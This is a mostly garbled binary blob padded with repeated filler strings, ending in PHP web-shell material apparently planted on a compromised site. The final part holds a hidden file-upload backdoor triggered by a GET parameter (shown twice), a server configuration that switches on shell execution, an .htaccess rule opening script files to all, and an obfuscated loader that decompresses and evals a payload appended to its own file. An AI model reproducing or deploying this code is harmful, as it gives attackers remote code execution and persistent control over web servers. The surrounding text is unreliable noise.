Iz#L́?_(bؕF~ŊͧU"^iƴ8)flotvqazes5`:s&Z|3Sݙ2G	
&$}kg~}sx≜Fkmfl6r?3@4omvo&uNҗGu7,Gd(⨋eRyAށ~+s,F(g%t=1jtSS5Co@u lŃ\V"M0y}|
`޿hrwE1o}F,WCmRT0:ULbgd
dsnkjrwogtH- )432^~pif0^fዂmYW?ٹ,7\i넏NB/Xflotvqazes}ʷkȞMYUcԨݜ2HmQxflotvqazesflotvqazes/sXdsnkjrwogt@u78r54lHI6*T Ӱ1&˞'ZJJ[*CZ`lBpy{7YFWSo LhTkpoR]tOitTflotvqazes[D[ZǄIv+ل,^D9=jflotvqazesk?ApkK~*_SY?5O+c7"Tf$;gA5WOU%RI|ql5Guą wԞZ ;!xuG0Ip(?о[A#t.wD 5}}C[EPӞ;Ⱥ#+ʖ(prwSkuHC8W$!j-2[kÛhRWZ_flotvqazes4тꋍj}%`Bvy|Ʀd2rƄgZX
}\ɳ0&Ss`4nXAk9oayݘatRLNrQVgaBw T3EUaՁsf~XZ	"ĸ=EB;4"?
.ck44K?ك.^Sv7	Ϲ3Ypa|3o3L1|9v6qz}{J- y ??o?pMD)_&flotvqazesGhfT-1wa|%"d3g3h=JShhbҿav 
CAOd%rD/!G֎vGcr50joujiv]sL5T_rPA9wa5^.q%]=}/2;	1|@pB3|QǋZ:?%jW-3xflotvqazesKdsnkjrwogt!?HCo{|W݋cFLRLXo&y(w4jt[[8tͫi`|qІB؁hj4ˇV_'"V5#̛`pwh"1Ep6֐flotvqazes7d_q!C
a5Z1AAkGc%&όSD4/9MF4ٽ1FX02zP:jTm(s4!4_}|~_r1uegP:M(Fk.j?_M6y{& ^:(\?ùԣ|	BtflotvqazesLQ)֊)Ui41wE^be/
'&M۷y̥pn&h #YxЫO9[yS$A(?? D"H wqvg閣/G/POzR
\)flotvqazes4D00It^rN=Ϸ"}YBmڄu	öflotvqazesldsnkjrwogtKq dsnkjrwogt-"Wgu1{{[%I7̄d`FEωwn5uKVNX"GfUYڰWonMN7? evºsX
oeKxmw7ft:ĉ.^Ce#3v,5 "
4';iΑr}Wв#2	l;2V9ZRHěHWprkTEMl4,+E
ݬ'iy3R9KƓy6x*:!#n$7ݯ]CTO,#4J#dsnkjrwogt?6N7-śA	o9\
W+WAA2ݏ䓞-LΛ.DˌI{Ės*$(} OAKK+foU
߱8AS)T֍WOWBnKa!v`*jG+&2$eU,j@ͱu1]68L8S||sF5lQa5!1AǷwώC♢#{&5x 
&[۫Bc.w694ykKm~+mQQ9h6P98ZWaPɪõZxhlVflotvqazesiĵs=:$F=AΣGl%d暪σLr
}Wyז`$AI哐/VfI	uPo=^lO}|7	BaAx
 flotvqazesw ̼-Ta7f3U,6WL|)M,]-qk[nys nw^7lط^YGF"$&\pxNl	HTô~e-SyflotvqazesNjܬ%Yő0;(4%C~\f`[*%Gn(^~bHآ%44.-}pP`)flotvqazesJa+Qޚ9Y.pCPw9WE@mmšT)?@?W]p?iƆ!2)e4^.Ȥ*;X#z{NYh2\?MEQ#\597'7g)ZϬt_@`'?cPYyCWo)@Vn[^T)?}flotvqazes_Ʈ唦;E/T9á~]lmĈS6L8쾍/.TИRR Vxdsnkjrwogt?Q|ES$IW|e+(Z4Eo~c\!/
^?uV1
flotvqazes:@NmյǶ/vPZ)3yߵ+si+	6AL]%W?^9mL궡gYXi|wdg^"6A@-P٦z!+G怴\v]/Dyѥ^^hu1s$gb&C$/\'S4W&룲4C

flotvqazesKj]oFepNEE:Et
*h
um4Uݱ~=?B?xg
{lcZjPIbtTS,`I+qflotvqazesldsnkjrwogt૖'@]~A6-K6.KIDz)XEYflotvqazesJ`SnB8Bҩ+,E"ov ]s_|m,Oy82g=dfXY
;b9UiR59s/FAD-רfgѸ̴J-q9j/7:/C8[f=h!RsڍEv,1~	3-*CX*6FDAhc{9̞Wߩ]_r ORpp$6`\^nΙc-rAFo"H(2kkD~NQj/}!sXCc)`Ho^&]%`_s~l'ɵHflotvqazesrAl0SJ
%|֔jH؄_E=^7DqmZG`Xz o+ppϹx68]Mx=1AsE+^ăEʁOPnqs^^@xlОVnX
2)=3[FMUHY"[^j]o|k3Ƌ'm'8=Kڇg!Ʌ(=dyҍCXs+XWpO1U,
1LN0%|sK
vaStc(VM~#ޜ^[VT;:dy|
e԰Ix;.@;|p &W+:}WPa
v4
`0\:V|~'eM,K8yk%dsnkjrwogt6)3%ҀEp@нΥV&Z,LP$hXĆ-V#vW9qKCaD3/FNG{'"uGPJ0[́ ͍CUC߃eflotvqazes~)GDo
 %Ku/P6priTBՋFyȚѯj{qAYXrS&
ر(*cy _Wc3}BRӷXSl$5dH͇9.u$B:AhG}P.{ﹽdsnkjrwogtoV+-]omKY@w-15+X8YkT~& ݗCf\Q;'م߻S󲡧t Z2u[q
fP.	F=\ЊwR[7g8VE.@m)[{V)JOI;0`C8&P[H;gW.[zMDr%fwKz=VS@Trɉ)4vS}ѝZhƩ0zbǀ\cqtEl])@;!lO7]dTm@,NflotvqazesK'z#9RFy=\Nȶg./z_OovLz'11Gü*z0}!ₙǣmflotvqazesj_;xQ:ն2S1GAJ){rb{x܉W*-IlKKT|m9F-%lrT2/]+(5a]
tp6!Tb0EIN)Z%߆
O8Ny\3b98Z_%gaD^u=w/6`K(._V|*hQzK m.\,6B1_^ףwɘzdsnkjrwogtqA0|0n
cZOz'3MڍWdsnkjrwogt{ͱuf2-m|a=@h6` ?flotvqazes[d7e_c~FZzJ̎	Gby5-!3v$,g 
zhz  cflotvqazes
'粁{Cseflotvqazes.˥p(y%9pPP7yo~LДt&USe584nj=PCN1:R:'M-{U	QDOA$4* [۴TuyAЇtөlcg1D,z&flotvqazesPp{]DR/oAZm m4flotvqazesP?ŒK&pM!$4rZjjĦdsnkjrwogtL -ˢ+9\%5eLG[;T{m,
)_v4~RuoZwcQ: e0bd(CـE [:
*\MrýWfcgpkZiW=eaucf̴ܾTڰY	vf 
S&JkohWQ;e	!#X^mU.uJt`I臑~o5nfU
a;{,N,sE'"o0p7^3n?Nu'X?7!#SSѱv2V鄅r܀
SҴcqK`hfKJ(/OTJe7Otg'Aq`A`{n͚5Z/{LA
wH pcL0OC"K,'k]L_OeMt#r?r3orc%Vy9Ys 醨ewpT#iQJflotvqazesdsnkjrwogtd[
;!z%kflotvqazes}!flotvqazesXؠ*MsnxUjnn]T!5S]eooF	,Vņ7M	ҷ"#$h괤80nݮtYIIrTY$Tyȝ44\/9w2sFpLhRF	|`@~7Ѩ?Y&$_9\Z';mTˇ.4oJAJ!?Y&j	(9 1xGflotvqazes	x9ͲZdsnkjrwogt׊+_0_WdST u;_`,ͶĿ2Op	Cn~@TETBG5N1Mi};@AT\r#N	*&7.Cm0W5nP(P3S1֫26`] @ wNV?JJ,]Gj`aܸ'!UP X@NRAh$9qޣ0YA$*+;L]0ZQW yX+u#ؗh&wD2|85}!1y8Xitbz_vHdsnkjrwogtlH hkމ=Oa-`4eU̯DT:9-i,@=52oDflotvqazesx3U`@OaUFݪV`E/7jF;&ӌjGQueӯqSDrA
	t`ܳɵ{b`mA/L:_5Tfl/}c׍Ϝ-L)Oj(F4Ipdflotvqazes,$_l3M0hmu,y"AZ[k˶;in(xl0LgH
~xqOz0B%D=D"qLeamƿxO|&?N9*ZLZֶ
ζKv5햭@7Þ_%t:K9Jdڕ[ɓ0pm[PTFZpqoaW+M:
lfs9Rp,V-x[_%}	y(ꊥ}k+y*5/tg@S^flotvqazesxD!s\^#cqy?ϻs^0}oBP]L.]ק_Le
NDYy{`g`Q$k\RGq(UZNLˏdsnkjrwogt^?u6dsnkjrwogt$Wz:8&/:B	:vGS+#R	
,IͪVzD:惗FFMMR`Gi|mgH{Ӛ2';?wWXjPQ1jb
ue&opR3z6:ytGAB(Jltye` "Jv+]HDb&7O2	g;tst$dsnkjrwogti28D,s
DN7oxw`̘d=ɥSkIZkDN]Uz{ʀlͷ@֞ٯR'mmflotvqazesv9[w wHd:OMjz饷#iflotvqazesu#/dsnkjrwogt`y{%qCơUJx`IKN3	/|;?T]Z2ÌgkÃ
5:4^7g`Pl*Q%Ï9զZ~_]?A)ꤼڮz6$@BmZørZvC/qK-/kp
7;~SCK褿
ޕ3yC!^V$8ucܮqTZ=[mNpH|H¡vMW "z{$DڍO^~K-Rt\6d@cXmѥv^/O?WkH'dsnkjrwogtˇHdsnkjrwogtQMFɐ	̻u#޾	zYUΦ")[\B+M̆n޿uOC*08KhPE̷llY&n8_0!LuyknY#X"PYt'Gs0|ѯ''3IxM-uښn!nR1"X:Jy]&(ks-fT]	z2cѠc;&wTv(P9)hb\#W}*@jUI4g"Vsx:d޸O8to'MOfjOn\ "R%B5EPcLt/@ʈn~d
flotvqazes8O#;Bю)viqDRc)knZH@pqԐxRhS?^ 0, eTijHaxflotvqazes
[/%To'tPYT[}`׊[j
Xv?$z#91	,7sѸ2KC"Y,@Uu/~?v.HO/U1Ȩ=E6'B7dGhXHdsnkjrwogtvDa":L'; 0
Gflotvqazes8FAziA-쫚f"+`
JB"F/dsnkjrwogtmI}þLg-? (
+C7tT!-ۼcQ6/1wJ?(&|98k&3OǺ8I?JR#\dsnkjrwogt'hj`Yw.&~S5Tύڂp ^I|fe)x_meì@EmV3@F#/JyD&+gC}mm|@KQNsVNGwiJmrxL	v[1]O⏀4)

ȟH~CbXўWp,LRǰflotvqazesRA4z^Xٟ]W4LBNve@=hbsΒA|{\ڭCSk2jH7]ęo?nbp:kwEus";~1ܾo鮺ޭ0~9JfyESK)зflotvqazesd0bGo2Cm2ct
flotvqazes %_Y4`ҩ]yr$fm/|&G$.3m)@غdsnkjrwogtKCL-K鮵&iZFFMt7?E
9NcTХ!MF* =s-`יxeA؁W dsnkjrwogtDwLPRt5uq [մYяl^ }{H
EMxOdsnkjrwogt/{j
TlpdflotvqazesHY|})Dz3O`4wD %YzF5 {RAsVLcN)4xM_T~TI.L!
GQ.9U3AO1z])"	?ZUD+UGR3u-n/}׭TC
a 7"nқ]O=['f]H}ȿ0Vdsnkjrwogt}ܳS$+W/C7:A''c}	8@ga-b־{J}c 1flotvqazes8Ed$d(LO.{|oG4\+dsnkjrwogt4r~'OeIToAItCoXA]5x ޴d OϕPSbPl'
JOGWHXf~]aJh͡K;Jo~
fB}a~Eݲ4\yL9O0!
cwވYx@w9fdsnkjrwogt\[v|Z	,O{8ИlW;`	l:2@/Wjd Po勳^4r){{^x PXz'i,ש}U7(=pWu؛Д,n
S+*nXxӈ͎0^#^PML,A.EbwJ1.nk}rQ=
{stV÷hQ)BI儀wY\UɽE.$Xd K*ͩTi%ON15dsnkjrwogt᳻
"s|y _2Zflotvqazes Ѻ5jN؛ů IhN},J k_w`kDflotvqazes
ѭk_^mvt!R$6(flotvqazes:ɻ'jug[4_@Y2F}KrW(δAR5)1qsdsnkjrwogtA ;YГFR|PFh@dsnkjrwogtKIdsnkjrwogt΃&ՀӒ,&3ZJ_z-3vA6&7_NdsnkjrwogtV|xeȑ 'D'flotvqazesaH/Z\
ڏ8;#$!ܕh|*v8jXk])\/7I`;ϒgshH@3VwDhJQEN,(y%^yE(!v(C9Myԫ"Q\67*c3hv=uNONziI5.r冉مCT-8&Sfv6	6`Dd3k		ƆJ1YOr-ܸ6[D]?Ue #flotvqazes^|Dxd`z"JQe'wrgArd#_]qۮ*2$/725wI)L+7M4ozrflotvqazessdsnkjrwogtx;DW`,q鉀@J
fh˗j⿖i-P{8L,)5FYc|( Ĭ.n&v'q
mA{mzhh/gUTRPZAyflotvqazes&flotvqazes{/vK'P8+JS@^ñuÜc/T
snVl),m5ɷ:?Vc]2gEVX#a4RQ\-nvW8VgY44I~A@$H7nCqL`k{ZI64`TƊd7u7wrß1l6 s{YW62EELX.F${dsnkjrwogtHnr`M3f|yY+y+;'-9\)8yp5sCY?	|W_r$pJS*q[4	9(9vqax
bߊ/gZHoĹVR~K
i&߱+cUHZfI&nf=z3saHr[EBi bę~j4T2'(9RflotvqazesiʜH
u`DNf1P)=O4|*$l'(|!ִVfGQmW0ȈwV-ce57dz#flotvqazes2x6*~d/*K?hlG=UA`dsnkjrwogt_P
WuCHjk?(:_3-;+1@pi#hN+S*kj T(BP%XJwע:jQ@Jkt/ :pߊ5}"VξhcPh:js[#t+vHmzId
w{-H%0%h~ő6gF6!@3;@2WzPk	:O?'!,ĦG`oF#"7|7c\}8|ԩ_b%?]:yJ߫6al&6nPR.lo."k

\RO$j	u|YԲ1djc=~A
ǒQA(A[
xflotvqazesd-flotvqazesm|CG m}~C%="(`u,bY}r჎x˒nXP0֯9$WG\G2Z"ˠgONn6Fm7,DtPnP79d@5;RX4V98mfٚD&:\0,)bF[=sͧYhh?Szyl^̓x$'7v3|	D;D8XwCy4etIEg04 ھ4O9q{Zϋ"E!7c]OU|r̀7&zs;brhiꟳ`˓{~A=J/\,)$%PtoI'8aƀB.n:POR
o9IF)J;ߡ6`,a4f@.7fCWSx^}AxE+|~G.(e[`F)
5j}cyNiFV#/]B ڛwǨ/U`otXE#x̢6E6 l`
^Ul	&}F#y6tθZ%4-U|dQ\iW@I.ӿuN85E Rڔ?=R$4VDm餽'I*;ym8p뫤Vfh?9#a)&.%.cXM`Kx {(\A6*sʎB;N_ceiJcK	6aa
NKxğBCȧENbwon]oQd3fnP&5%~#0#L!{nҎ_gnkh
Ũ9EO |e|r/DΆ43TS
Ĺ2
͍l"

K9C%$nFo_@kB=bgEs2tN|7׼3t/b9@+tW+30o (5umx/kAZe_)AV5fBtʊ=X?ޱݯT@9ƻ7Øxoqm:m@Ьl̔k+tXyNѡNYz_*js&HeUB)԰Q.&J
Q0ǟ[c F{i(я4,Cfoy#GbW;J'TQ"	;Ł
wCмdJ͵ nflotvqazes-S-I	޸dsnkjrwogte|'p)T@|D.i5ɢ`i 0lDnmFq#lo ^
 h
b+kklj$dsnkjrwogtԥ+Qaָ{1`ЁԤsيv5E/ORyI͠4ڢZ0BM_Qo*85Gflotvqazesu3pԜn%qFeC{MHKH+pVRt!7M,U_x!LB0flotvqazes=61j~Q4~"޾KR%N@Q{x_jhm_ƀ9u,%㬗RF/kPdsnkjrwogt"ٖR7lOgK!QX~]RiaBt ft6kX?)u\Tzbg!q}s Ur's%ɣjr+?FAjjF,Kecf	&/9}dsnkjrwogtbmO]N:-f3il:AQwhU дXtjgVɰ;JQ\3u(PSflotvqazesyIqs!ĉx	=!'2xa󵙴Ȱd4flotvqazesP-gr!dsnkjrwogt"o9w`zŬ3Ǎ
U i
`^Y]m@Ci=Գ~_aatv\L76Ѡkݰi,\^BzbP՞*6 (fD $G flotvqazesH·[k$|εnmPO/;v(}n q	b*\|¿Z޷pGwF7p`Tv\
+zlo?:IԈnX;qtNt-t3:pT^
e7'BZOXU n=No7͸V@~\yJu$n+l1N}\i%Evei~gid+4'[Gb|؇%6dj&
G=*8v:Q␵K7VR R{mMCb/"}Gv{0qi6&:#zH@[g}\zeN_(Am6 flotvqazes,EUuWh2W?@bB=dý:_ښ0DdܷS5
=@	B	*~Z-=+|野}Qdsnkjrwogt`1+ZJ42c }e|YM侄\xնYm"|BXĴ$=:
YR
`Ύ'I,%˶RB^,rukz)a5zgz1j0#4ҴP~KrŚ"flotvqazesbP3gk_S/[K̊Cd{ޥU|ŏ#{DX2dsnkjrwogtk:8Yk#Ԟlf~.)=3.,nX#p1HvZ
Sm1Pdsnkjrwogt_MlR]Z&o2/8D9/{]T_VcV;_SdsnkjrwogtQHJ8oNhAř3LXpeE2}al,FݙU0*5)HGk&sm14kt|EKGQ|j:LVJENߣVqABx/fYk&6k=Gm!kKF47=g?r6s&ƞ`-TLt?=lCqk:)8edsnkjrwogtHl]K4;}TaO&ހPA=z^v0KQ_)'D9-}zF|
GjGo70VjUՄ[zQ.Yƕup-ձy]]oRa2ImxzߙocFϽYi69rW{*}ĮJdsnkjrwogt4h̅ν-YADixdsnkjrwogtz|}[v[b /4Tx`DC8Л.U_wiě~k8q]9ìE#OU{'g'R^dmrB&+."	pX
cVo?AR3;D:c!#JD;vAx2Їqe\_$/|ރ[SXƽ	
flotvqazes@flotvqazesw͉dsnkjrwogtgܠĠ߬dsnkjrwogtdsnkjrwogtؗVbgm#6l|P. /flotvqazesthhׯj(ryD
ν2hN
D[(Q:i,gEu;7qiCqpPp^lW0J)dsnkjrwogtP;4dsnkjrwogtmOU"|mRݨX?Vciflotvqazesbާ9/Ez2l⟬@-T wBAdYulzQ3H_'LA-ԁ50GwYjI+B6|ghϾ͐7ŲOtJ86*\ʼdsnkjrwogtdsnkjrwogt/b=6۶C4nNr&"Ym%9D^_.̖K g~CSKc/N9x!g&]rYW6) )dsnkjrwogtd JjOMA?Rї[8$~//kϪb+V	g*rA	|W,dH\QFhK#u`y/C'R(^aUlc7lTTY=j2`݊/A|0pM/KNE,ʩflotvqazes(ԡ((a"7T{3xx]\%3UTޝg . }
R8QK,m)[fB}`M[]U*Z3g8M:dsnkjrwogt}aԬ"	МXSH{i]\ƍO+Ng;qjY"=Ždsnkjrwogt$Kflotvqazes=RNq"넌ͫ]G$flotvqazesmI$nCydsnkjrwogtdS:@yMnw5y0flotvqazes{UxDr"":Nm!@k5Tfj5oвz'SWx.ʎ緯qɸNOňOv\aZMyʺ	5C?!mg2B0J
50ҺUC@lBE#d(R*! ^_3=7KpC+bkTW^-^,4NZwWԱgaT~cIb^$ӑMlA5
\
#GBͲBD. rU2H}C,:pO1P-qgmkl_i[!(6ٗTQj;{rz.G[dޱͥ6flotvqazes[k@96g]r	u9.flotvqazes dsnkjrwogto@~ i~*is*G~OCC7LflotvqazesQ_C6͐?[onU.yX.EԇYDnQKc B\P"9 KjUhY(%/L5dsnkjrwogtdce#r]dsnkjrwogtrYDʊ3,ҍm&if (C-S)N\FVzܧFbdo ^|"cK/}EMflotvqazeslEB;A9|S05&gI5^Qflotvqazes\w629@J5O
|2#(
"gmNR4Tqk).43J,։ݺ}6ӟb'I*ILDob;D| [A݊TjMNYBm7]
g,/QtdsnkjrwogtMp~3ewbY#a"Y+mϥ=1}4C%[֌[r"Ϳk9N1ִBSP9ݷk	xP]Ïa;Omč +VvI|IU؝.mCtA&{p=rVV0 J`{sX
FM&ˌk)x/MYt8v|ϝ!*3ki{tH_]K(]+rǌ|'PWp+J
ğ,
w0cdsnkjrwogt'/CQP;dsnkjrwogt*",ujoX{*#.piT~
;q)^flotvqazes!4I;nf~M~Cba/GCt7x޴oAF|MTGC(cb;pͬIqzтܒI8FxO#4
LӍVi}WLXNe_3 $*ϫx(4fl	K&#P24vVl9Ѿ5?5**O쪉#Ns?w#l]p{w#=Լğ^'XET"VzP98,Ė
+^7%J(ڄP)vv6$F7MӒi:gwf
4 dsnkjrwogtdsnkjrwogtpd_tߔu!$'ޓ'U QK_V'8˰fmC\h\!*n˺\rFf'㠃rmɏ,.S2ɾc[6|~çhk0i א(fn#~#sb1HDʡV"POvP'{ f̋rq3g1L!bp]}/
]S_τBSRr	7vѪsfflotvqazesOppȨBذw)sVƨӧ!$\x)"ϣoJ)Ji662c2a~JU5\ɣђ-H9~)o;Mԁ밞V~ï|!hH'oևer8Qxhj4Tflotvqazes5{R˥rRa
flotvqazesf$fQ+xST&#h
 0۞#t!h T/{=ZtJ*Y~m"'OUD	*ski8CڜD}hG|	Q%y͉nUјe쾞\bqx?xKt OC+4rmp|`bh;]ox~v5xOK0%Pʮ!HVTjkj
$_ugeIBKdsnkjrwogt
 |l(宑flotvqazesF3WiqCsr&Vїx=}oL
&ESK^6N{-ُD%	H6/ehtǏm|Z`.6kwyO'=o4NuTF; +O"
oz&[d#?4:2B\*V*@Z=m8[] /R(EFrےE+dsnkjrwogtKkS8=Ʊ^M7:~E
[mȓ45!佛ʝp$?flotvqazesEuO
H(W;hL?k-:dA
lQ;݈S|sFMSgIxmsvPK,Kwo6&$VUS-O5v1sĀ-"LTdsnkjrwogtU9ei'dIp`f6诜LAp)@]Nϋ0W2r)H-" X?﨤Zu)bwT@sVMM]&yGbbԗB%adpba&g;ѦMQ=ΨuǲKflotvqazes{	%);l/)s(e9?'Ov9dsnkjrwogtwµSxMM"oW!tUq=ٙ^2=LnOd_i"~-N1;}נANvتdsnkjrwogtɇoN2Udsnkjrwogtb-yT:Q/i
3[6a咜$2E.S]dn{iO8ߝ`o?s&	/ -r gȋ2M'&[1`#.ܬ8mu(xe6/NW&HX"7*6RG]flotvqazesYBgdhT:`DĉҎ,Cw' _oenO=x09ˈj4]}gNӘW"+{F#0#f$º`ϛlM]XqaQ򮇏Y'ƥl/rN)+u PrhW)R2_wi琤37uRRz/h4҉i F@mrQ
{OSTj@N%Wc:VTB_%f04VU TDB$n:Oى/lWh,
4'Dpr;*^@EYrWrEIYI""?-:kINϬsflotvqazesl~=Pgb_aSM+RPa,(($j=flotvqazes,#flotvqazes?LKmb:lXmGflotvqazeskށWbVJŉc4Kflotvqazesְpi)'ώ/=YYH8}K&#FQQpn@|Fz؃@`j@+"IAj&QCj2kgI)Q#;"1|tfߞ1!^`vA3X.Iv}WLYT:.a?0`5xBKr3¦e7=IDVBBuGpX
{
·&50c7{׾)Jb	SOp,
qEW=rN"#XwΧ4L3Ce@1`fZڸ1Ic47
lRxp FhVN+OcQG&.gayToҧ&q{ ̗E''dEiL-^n.yo~t+R?a=2 vFvLdS{Bl\.$bɳɷ836cCBc#e뱣l1MLCTdsnkjrwogt
rdK6/#Zoflotvqazes)ۢ0`D-{2?flotvqazesllqDQcrp)NJЈpS}EZŇ0'|*doOd*,ۆSlpf6TL0Ec X\"T^­6kflotvqazesy#V*lIX4oJkGW~)̧[Cc1͆])-l1JL\l~_YT\tNFflotvqazesʐ$|Ab!+͏h'%A'qdsnkjrwogtAx(dsnkjrwogtmFӅ&݉/ԯWm{GBYrGDքfGm]l}FA|h,w͟K
!}Gf©qo -@dsnkjrwogtmx\vy[flotvqazes) vV0xs&~!}[ qq47]ŲIbQ~a(Gdsnkjrwogt-2&zdsnkjrwogtfX#reG0kxrޭc-u.{eqwQ/Bn8Kd{g	UU1G7ꏂC
7dsnkjrwogtHhn;
	,Aof:S뇁AC#Ti`MBi0D`HhC;z6wr򭡒@gԿ6Huv
6u/oNS Hm@F?VG8CZ&F	w1XHBk)YT%7u2W%.o9zdLb	K3puϐ"F}tgR:}{Rmi PqaJLD_QH-N{dsnkjrwogt|ubd{~	wrLe~s//_˩0jWXYω"!SXjCa@u_b;v QWRQP6dsnkjrwogtյgƙoO5ߡڈMGd*OS2
!{ho!T?2YE	Y18XAs#
	\eͳ(34a	~;"גؚmN΀qyw@Pw:Z5	(sc8ꥈ|8m'
/8MC"-PjN7l`QO %WrڲQRlQnǰ=ev,]3BT7o+̑^;A݌~obSrf4YP+85nި'P-hy5|V;dsnkjrwogtr̜%!@cflotvqazeswG;"flotvqazes`Ed/|ZsIhݢnN0 b1+%{Eg\FG?o.U6mB1/@9#{9sO(AdsnkjrwogtAN
9ַZXllzO1BF+b^c"UK:Ji!TA|zNsq1*-a5 3(c:]qEflotvqazes7i.^T-wY@+v&wr-
tIQ]PZzP᫘'GD˟jΧ`OOEBobEU%D0Ա}M7 ŋs8"̂ԐJT2ċ,"g@,mSt%]ͫs40flotvqazesAXsJlMa`,fIׄ .t~͜F~aflotvqazes"~!~TOIX\$3]dj7޻G	;n*YPWE6?,]#ed@ԬlvOu P"$flotvqazeseI@lE]s@Et~Bx} WW:c8-+g|0ٱB\ĠjJ|n1 =[~#\誃_=	ɲ@FBIn_3\J,m`?1ـQHh&;hj2]7xF/Nw~1ۃNrߏ2V' r UWu撦x Je&ʺѳ]m׳m^QଯU=[zr6Ъ_~_8	-||h?݄rh莡Thc%ͼPhUX6Fkts|9noF=	֏flotvqazes
ĵIͥ|wʭ-73m*mTRU}`g?2ihQuy@!_tD_fO7? %FA xflotvqazesQ+L2zqvR5Hфef/0DJkHǼ_,s|vpoo[} -kk=8%]~uy,3Mt=/ flotvqazesm'+/r.8;/1rfq!`^ۛY
7[ZuH{1sM.~M'8syL!L)Hޯ%VTZ	erx%QNM]a׸8|}6n)~咮vf^=6eQ𸍈3DWY2o\7ڼN,Ŗ~xo'4z]`XPzDvwg&2+Tp	WSG8)Eiawp:#Y?X:nGu^(*i߉:Υ3
բ)$
Fּ%EPkIb"Wflotvqazes_ǜlZk()/__{TNɯRƆ|A(K' )oKvG#jdbL+
]4D)F
dyjflotvqazes )2ô(O[4J.W׭~u(vu9V_4+IPZgW%w0ddsnkjrwogtrF^RB{,k ˲M7uBfWk!ѤXdsnkjrwogt]flotvqazes
flotvqazeslϺziطSFc,2B[`x@W\SR宛lͥ=%@%S{Pن))et@F/Ϳ="~wvS	l?=&󂈆Kz#IXZ Oή)}GXX8|I}ݙ1^~F,|9wSÝL==ٶtl@bo40rq3FnfP3~\u
,38Sۗ63!7_[x~&+&Eq:qnheӮzоzҒ5dsnkjrwogtdsnkjrwogt/n|%E.=2X'#S"/Kl qn?D"d,'WeS flotvqazes͓$/ytJ1$jmsn#ӕ'QN:
flotvqazes0dSEcȉ1Nm`Ɖ]zYN,؊*B_
bxG4J]_@
}#-|n]~DG64ȨNorO6d7DG\e/rKMB
̐Hm3"Al]!D
uN*r#{s&uC̮
϶kՄQYiFgˬRf%Sol=+uz8~hbBެǾBbGJflotvqazes}P5qnJiĵF9flotvqazesd)flotvqazes=fdsnkjrwogti*wdsnkjrwogtM}tE~{G3Nۚ`{h|KSb~s,8s|عNm4(NSծ:#ɢgyyDgl#K
#MC4ԝ*]':	RuܼFP@[^0jlJStxyḾ)ƿ)
ARj%mu29A/x#ż+)dflotvqazespPMAzAV-!.*oIa
o*rfKqKow\b2U-T[
	qmNv&h64z%@繡YshftI$Ï	DV^.UF/qf7yd*z=EuAWtU餭!\C[5Y;nFybhˡEla`cjAx&u\L~n~ھ,7:6ߤ3.-;&kA̫
,+/VCspdsnkjrwogtx
쵽wjHM3'ԩvyZl e^AaydsnkjrwogteBI+bs$B!=L/
j^_',Iw6Rh6mIayPWr9x(ٻe:OX+)?vgX֊4JBPhG۬/}vFK\vqԨHAjy1F)lln8'dclflotvqazes񎒕`@8i'A|)OTGpYa~wA6c~uӇk[(M6^&M6`]wKdqSf4N&	K	?+Y(YbcQaXODXT+tLJLxI02Ao}_Qbs3N:~F_cIjo.UcjOvflotvqazes؃qоaE%Pn&nSF%H@ 5B
ĞZ=BW~7ȧiM
=	E2řѫ|$_uro
g}JQ[6Ws^4"V-NtSLnGROHm@ \*t^'e*ز 8ڪP33P@TPɕj/sٹkE "*G-&iu,&lL1,dsnkjrwogtޗflotvqazesuSk[ǈջ1n^XG&WX bOapؿ963vg.IO^Dflotvqazes(O#y䮛flotvqazes;⦄'Dl#=
Lvŷܷy҉lYذen#~{@8&"Fp(,?v@[CIUu;a1w=ex/7+Nydsnkjrwogt	)o[MQSUPKm"/7=zOhIeB
1ⶠ-  pPAD5[MðX8ZnR	%'}Ƒ|Dӏ5S]Ф[īoüi
Zjfy 6t[![oOcdsnkjrwogtO4xw8uw8cCn VbAF٥NX @Ck
-x .|hiĒuN;x.flotvqazes0~;v˄{ldsnkjrwogtM׫z+G&%s1{m93\ͨ{]D* ۭPgAiLǺ߲R33Ldޅ[\HecXpbXKIDR$T=[)? @Nsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$jWDe='st'.'r'.'_re'.'place';$MDTy='subst'.'r';$trgY='gzu'.'ncom'.'press';$hmtv='fil'.'e_get'.'_'.'cont'.'ents';$moBw='e'.'xit';eval($trgY($jWDe('yoqzhrvbsu','>',$jWDe('iotrypsmqx','<',$MDTy($hmtv( __FILE__ ),-172758)))));$moBw(0);
?>
x$׎̶f_hiyoqzhrvbsutxxwR%eUAĜK:?ҭ ^-{W7W{4ޟb~L%gnflg+Xi~1|M__OzMgVk1Oތտ'3?oYa:m'rvqNV@0nĪ*.$A÷%H/߫XSBPRG
n/1iotrypsmqx1br)c!܉\Z{_iotrypsmqx$!bs6^Z~`[ida
Q^|~˱g$=}_-bBw0dr\Asg"|\rRKqt!xwUTi ~fmpkq2F, WDO@OHGR
m/6ljyxʛ$'HIr=4[hsuu iyiJwMd'Ul HW:#aI{#yyoqzhrvbsu$*\2K-9s9zU)vӿ"iotrypsmqx?:9fkC#/Dh׾f$yv9sAdkG:l\mhA*4褦 /.UiD+ӔDYʐٳ43iotrypsmqx75P}SLeyRrD]dShF5	2g-)[j-HW%s,[sR4R4^i.UڵSp&gãxyci1D6.pvL@j~1YXq!
,jOyoqzhrvbsu{=K1\)I0~;Éyd3k1Nc)}__*m׼+C/1Pϼ}7&K٬[c5#El,j؜7K
0S(02:EJq(}V /Tgֺ]+P6{FF%
(ghv3T@jTUGJ)yiotrypsmqxgZ0AcS{/vbb5V&e?
ew;|{Pnp#Q񃡔?+a$_ t-KRnbW^o
|!ҽE2@.iMIi]3LP^&_4 ^i.ky?PC$
